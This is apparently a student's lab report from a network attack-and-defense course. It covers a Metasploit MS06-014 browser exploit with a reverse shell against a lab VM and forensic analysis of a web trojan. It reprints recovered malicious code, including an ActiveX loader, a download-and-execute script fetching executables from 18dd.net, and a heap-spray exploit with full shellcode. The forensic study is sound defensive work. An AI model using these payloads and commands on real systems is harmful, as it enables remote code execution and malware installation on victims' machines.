20252914 2025-2026-2 《网络攻防实践》第11次作业

20252914 2025-2026-2 《网络攻防实践》第11周作业

1.知识点梳理与总结

一、Web 浏览器渗透攻击相关知识点

1. 浏览器端漏洞利用

该实验属于典型的客户端攻击,攻击目标是靶机用户本地的浏览器或浏览器组件。用户访问恶意网页后,网页中的脚本触发浏览器漏洞,从而执行攻击者指定的 payload。

核心知识点包括:

  • 浏览器漏洞利用机制;
  • ActiveX、脚本引擎、插件等浏览器组件风险;
  • 客户端攻击与服务器端攻击的区别;
  • 漏洞触发条件与靶机环境匹配问题;
  • 浏览器版本、系统补丁、插件配置对攻击成功率的影响。

2. MS06-014 漏洞

MS06-014 是微软早期的一个浏览器相关远程代码执行漏洞,常与 Internet Explorer、ActiveX 控件、MDAC 组件相关。攻击者可以通过构造恶意网页,使受害者浏览器加载特定脚本或对象,从而触发漏洞并执行代码。

  • 漏洞编号与漏洞公告的含义;
  • 远程代码执行漏洞的基本原理;
  • 浏览器访问恶意网页后触发漏洞的过程;
  • 老旧系统和未打补丁浏览器的安全风险。

3. Metasploit 框架

Metasploit 是常用的渗透测试框架,实验中主要涉及以下概念:

概念 含义
Exploit 漏洞利用模块,用于触发目标漏洞
Payload 漏洞成功后执行的载荷,如远程 Shell
Session 攻击成功后建立的远程控制会话
RHOST/LHOST 目标地址/本机监听地址
SRVHOST/SRVPORT 恶意网页服务监听地址和端口
URI/URL 参数 靶机访问恶意页面的路径

4. Payload 与远程 Shell

Payload 是漏洞利用成功后真正执行的部分。实验中选择远程 Shell 类 payload,目的是在靶机上建立一个可远程执行命令的通道。

相关知识点包括:

  • 正向连接 Shell 与反向连接 Shell;
  • 攻击机监听与靶机回连;
  • Session 建立后的命令执行;
  • 权限、进程、网络连接与系统环境信息查看;
  • 远程控制行为的安全风险。

二、网页木马取证分析相关知识点

1. 网页木马攻击链

网页木马通常是一条多阶段攻击链。常见流程为:

入口页面
  ↓
跳转页面 / 加密脚本
  ↓
解密出下一级 URL
  ↓
下载脚本或二进制文件
  ↓
继续解密或执行恶意程序
  ↓
完成漏洞利用、木马下载或远程控制

因此,取证分析不能只看入口页面,而要逐层追踪所有被引用、解密、下载或执行的文件。

2. 脚本混淆与解混淆

网页木马常使用 JavaScript、VBScript、HTML 嵌套脚本等方式隐藏真实攻击代码。常见混淆手段包括:

  • 字符串拼接;
  • 十六进制编码;
  • Unicode 编码;
  • escape/unescape 编码;
  • eval 动态执行;
  • document.write 动态写入;
  • 多层跳转;
  • 加密后的 URL 或脚本片段。

分析时需要关注:

  • 哪些代码负责隐藏真实地址;
  • 哪些代码负责解密;
  • 哪些代码负责触发漏洞;
  • 哪些代码负责下载后续文件;
  • 是否存在条件判断,例如浏览器版本判断、系统语言判断、插件检测等。

3. MD5 散列与文件定位

  • 哈希值可用于文件标识;
  • MD5 可用于快速匹配样本;
  • 恶意样本可能通过哈希命名隐藏真实路径;
  • 分析人员需要根据解密出的 URL 继续定位后续样本;
  • 文件扩展名缺失时,需要通过文件头判断类型。

例如:

文件类型 常见文件头
HTML/JS 文本内容,含 script、html 等标记
PE 程序 MZ 文件头
压缩包 PKRar!
图片伪装文件 可能扩展名与真实内容不一致

4. 静态分析与动态分析

当解密出的地址指向二进制程序文件时,需要进一步分析样本行为。

静态分析关注:

  • 文件类型;
  • 文件头;
  • 字符串信息;
  • 导入表;
  • 可疑 API;
  • 节区信息;
  • 壳或加壳迹象;
  • 反汇编代码逻辑。

动态分析关注:

  • 进程行为;
  • 文件创建;
  • 注册表修改;
  • 网络连接;
  • 下载行为;
  • 持久化机制;
  • 进程注入;
  • 命令执行;
  • 与远程服务器通信。

5. 取证分析结果整理

最终应形成完整的攻击链条说明,包括:

入口文件 → 解密方式 → 下一级地址 → 文件哈希 → 文件类型 → 功能判断 → 最终行为

建议记录以下内容:

项目 内容
文件名/哈希 样本标识
文件类型 HTML、JS、EXE、DLL 等
来源地址 解密出的 URL
作用 跳转、解密、利用漏洞、下载木马等
关键代码 主要脚本逻辑或函数
风险行为 远程控制、下载执行、信息窃取等
IOC 域名、IP、URL、文件哈希、注册表项等

2.实验过程

一、web浏览器渗透攻击

启动Kali攻击机与Win2KServer靶机,查看其IP地址:
Kali攻击机(192.168.200.6):
image
Win2KServer靶机(192.168.200.8):
image
连通性测试:
image
之后在Kali攻击机中执行指令:
sudo msfconsole
search MS06-014
启动 Metasploit 控制台,搜索 MS06-014 对应的漏洞模块:
image
use 0(即使用exploit/windows/browser/ie_createobject模块):
image
set payload generic/shell_reverse_tcp(反向连接载荷):
image
set RHOST 192.168.200.8
set LHOST 192.168.200.6
image
exploit开始生成网页木马服务:
image
在Win2KServer靶机中打开:http://192.168.200.6:8080/bVOyrZw:
image
在kali攻击机中执行命令sessions查看连接:
image
指令指令sessions -i 3:
image
攻击成功

二、取证分析实践—网页木马攻击场景分析

将下载的start.html文件粘贴到WinXP桌面:
image
用记事本打开start.html,查找new09.htm:
image
image

由于缺少new09.htm文件,参考教程得知该文件代码为:

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>

计算 http://js.users.51.la/1299644.js 的MD5值(23180a42a2ff1192150231b44ffdf3d3):

image

计算 http://aa.18dd.net/aa/kl.htm 的MD5值(7f60672dcd6b5e90b6772545ee219bd3):
image

下载解压网页挂马分析实践压缩包:
image

打开7f60672dcd6b5e90b6772545ee219bd3文件:
image
image
t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
image
转换后得到密钥script
解密得到:
image
十六进制密文转为字符后:
image

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

这段代码是一个多分支网页木马加载器。它通过 ActiveX 控件检测判断靶机安装了哪些易受攻击组件,然后分别加载不同的后续攻击脚本:

检测对象 可能对应目标 后续文件
Adodb.Stream IE / ActiveX 文件操作相关漏洞 1.js
MPS.StormPlayer 暴风影音 ActiveX 控件 b.js
POWERPLAYER.PowerPlayerCtrl.1 PPS 播放器 ActiveX 控件 pps.js
BaiduBar.Tool 百度工具栏 ActiveX 控件 bd.cab / bd.exe

http://aa.18dd.net/aa/1.js:5D7E9058A857AA2ABEE820D5473C5FA4
image
image
解密:
image

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

http://aa.18dd.net/aa/b.js:3870c28cc279d457746b3796a262f166
image
image

http://aa.18dd.net/aa/pps.js:5f0b8bf0385314dbe0e5ec95e6abedc2
image
image

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

image

http://down.18dd.net/bb/bd.cab:1C1D7B3539A617517C49EEE4120783B2
image
image
该文件为压缩文件
在kali中解压缩cabextract 1c1d7b3539a617517c49eee4120783b2:
image
得到bd.exe:
image
进行反汇编:
image
image
可以看到有大量恶意代码文件字符。

三、攻防对抗实践—web浏览器渗透攻击攻防

攻击方与实验1步骤相同:
image
得到恶意URL:
http://192.168.200.6:8080/veBVt1Go3vkwW

防守方打开该URL:
image

image
将内容复制,进行html格式化与压缩后:
image

    1. 入口函数

页面加载时执行:

    1. uRciGy(o,n):尝试创建系统对象
      function uRciGy(o,n){
      var r=null;
      try{eval("r=o.CreateObject(n)")}catch(e){}
      ...
      try{eval("r=o.GetObject(n)")}catch(e){}
      return(r)
      }

这个函数的作用是:
尝试通过某个 ActiveX 对象 o 创建指定的 COM 对象 n。

它尝试了多种调用方式:

o.CreateObject(n)
o.CreateObject(n,'')
o.CreateObject(n,'','')
o.GetObject('',n)
o.GetObject(n,'')
o.GetObject(n)

后面尝试创建两个高危对象:

WScript.Shell
ADODB.Stream

其中:

对象 作用
WScript.Shell 执行本地程序、访问环境变量
ADODB.Stream 读写二进制文件,可用于保存下载内容
    1. RgmWNsAUCFLZnFpOM():遍历可利用 ActiveX 控件
      var t=new Array(
      '{BD96C556-65A3-11D0-983A-00C04FC29E36}',
      '{BD96C556-65A3-11D0-983A-00C04FC29E30}',
      ...
      '{0006F033-0000-0000-C000-000000000046}',
      '{0006F03A-0000-0000-C000-000000000046}',
      null);

这里定义了一组 CLSID,然后逐个尝试创建 ActiveX 对象:

a=document.createElement("object");
a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))

其目的不是直接利用某一个固定控件,而是批量尝试多个可能支持 CreateObject 或 GetObject 的 ActiveX 控件。

如果某个控件能够进一步创建:

WScript.Shell

则说明该控件具备危险能力,随后进入下载执行阶段:

mLFpLZvLpXUziWIrfUFXxFEQ(a);

    1. mLFpLZvLpXUziWIrfUFXxFEQ(a):下载并执行 payload
  • 4.1 创建关键对象
    var s=uRciGy(a,"WScript.Shell");
    var o=uRciGy(a,"ADODB.Stream");

其中:

s 用于执行程序;
o 用于保存下载的二进制内容。

  • 4.2 构造下载地址
    var url=document.location+'/payload';

  • 4.3 构造本地保存路径
    var bin=e.Item("TEMP")+"\OycLuBLZxmUYdr.exe";

读取系统环境变量 TEMP,然后把下载的文件保存为:

%TEMP%\OycLuBLZxmUYdr.exe

  • 4.4 下载 payload
    xml.open("GET",url,false);
    xml.send(null);
    dat=xml.responseBody;

代码兼容了多种对象:

XMLHttpRequest
Microsoft.XMLHTTP
MSXML2.ServerXMLHTTP

  • 4.5 保存并执行
    o.Type=1;
    o.Mode=3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin,2);
    s.Run(bin,0)

3.学习中遇到的问题及解决

  • 问题一:Metasploit PostgreSQL 字符集校对版本不匹配警告
    image
  • 解决方式:
  1. 切换 postgres 用户登录 psql
    sudo -u postgres psql
  2. 执行刷新校对版本命令
    ALTER DATABASE msf REFRESH COLLATION VERSION;
    执行无报错即修复完成,退出 psql:
    \q
  3. 重启 postgresql 与 msf 验证
    重启数据库服务
    sudo systemctl restart postgresql
    启动msfconsole测试
    msfconsole

4.学习感悟

通过本次实验,我对 Web 浏览器渗透攻击和网页木马的基本流程有了更直观的认识。实验中,攻击者通过构造恶意网页,引导靶机浏览器访问,从而利用浏览器或 ActiveX 控件漏洞执行恶意代码。这让我认识到,浏览器和插件如果不及时更新,很容易成为系统被攻击的入口。在取证分析过程中,我了解到网页木马通常会通过隐藏 iframe、脚本混淆、跳转链接和下载载荷等方式分阶段执行。分析时需要逐步查看网页源码,提取可疑地址,分析脚本功能,最终还原攻击链。本次实验让我认识到,网络攻击往往具有隐蔽性和连续性,防御时不能只关注单个文件或单个链接,而应结合网页代码、网络请求、文件行为和系统日志进行综合分析。同时,也应加强补丁更新、浏览器安全配置和安全意识,减少此类攻击带来的风险。

参考资料

《Java程序设计与数据结构教程(第二版)》
《Java程序设计与数据结构教程(第二版)》学习指导

posted @ 2026-06-16 23:53  20252914  阅读(9)  评论(0)    收藏  举报